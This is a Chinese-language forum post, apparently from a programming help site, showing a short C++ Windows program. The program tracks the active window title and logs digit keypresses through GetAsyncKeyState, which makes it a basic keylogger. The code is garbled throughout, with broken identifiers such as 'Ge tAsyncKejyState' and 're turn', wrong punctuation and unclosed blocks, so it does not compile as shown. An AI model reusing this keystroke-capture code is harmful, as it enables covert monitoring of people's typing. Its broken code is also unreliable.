用户:
just_Do_it查看:6 回复:3 评论:6 创建时间:2024-08-13T21:41:33
#include <iostream>
#include <Windows.h>
#include <string>
HWND PerWindow =NULL;
int main(void) {
char title[256];
while (1) {
HWND window=GetForegroundWindow(): //获取当前窗口
if (window != PerWindow) {
PerWindow = window;
GetWindowText(window, title, 256);
printf("\r\r当前活动窗口为:%s\r\n". t'tle);
for (int key = '0'; key <= '9'; key++) {
if (Ge tAsyncKejyState(key)&0x8000){
printf("当前键盘输入: %c\n", key);
while (GetAsyncKeyState(key) & 0x8000) {
Sleep(1); re turn 0;